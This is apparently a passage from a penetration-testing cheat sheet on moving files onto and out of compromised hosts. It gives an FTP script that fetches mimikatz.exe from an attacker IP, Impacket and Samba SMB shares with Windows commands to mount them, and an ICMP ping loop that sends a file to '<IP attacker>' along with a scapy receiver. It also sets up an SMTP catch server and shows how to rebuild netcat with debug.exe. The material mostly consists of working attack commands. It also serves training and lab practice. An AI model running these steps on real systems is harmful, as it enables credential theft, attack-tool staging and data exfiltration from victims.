echo open 10.11.0.41 21 > ftp.txtecho USER anonymous >> ftp.txtecho anonymous >> ftp.txtecho bin >> ftp.txtecho GET mimikatz.exe >> ftp.txtecho bye >> ftp.txtftp -n -v -s:ftp.txt
SMB
Kali as server
kali_op1> impacket-smbserver -smb2support kali `pwd` kali_op2> smbserver.py -smb2support name /path/folder impacket-smbserver -smb2support -user test -password test test `pwd`
Or create a smb share using samba:
apt-get install sambamkdir /tmp/smbchmod 777 /tmp/smb[public] comment = Samba on Ubuntu path = /tmp/smb read only = no browsable = yes guest ok = Yesservice smbd restart
Windows
CMD-Wind> \\10.10.14.14\path\to\exeCMD-Wind> net use z: \\10.10.14.14\test /user:test test ​WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"WindPS-2> cd new_disk:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
from scapy.all import *def process_packet(pkt): if pkt.haslayer(ICMP): if pkt[ICMP].type == 0: data = pkt[ICMP].load[-4:] print(f"{data.decode('utf-8')}", flush=True, end="")​sniff(iface="tun0", prn=process_packet)
SMTP
If you can send data to an SMTP server, you can create a SMTP to receive the data with python:
sudo python -m smtpd -n -c DebuggingServer :25
TFTP
By default in XP and 2003 (in others it need to be explicitly added during installation)
This is a crazy technique that works on Windows 32 bit machines. Basically the idea is to use the debug.exe program. It is used to inspect binaries, like a debugger. But it can also rebuild them from hex. So the idea is that we take a binaries, like netcat. And then disassemble it into hex, paste it into a file on the compromised machine, and then assemble it with debug.exe.
Debug.exe can only assemble 64 kb. So we need to use files smaller than that. We can use upx to compress it even more. So let's do that:
Now it only weights 29 kb. Perfect. So now let's disassemble it:
wine exe2bat.exe nc.exe nc.txt
Now we just copy-paste the text into our windows-shell. And it will automatically create a file called nc.exe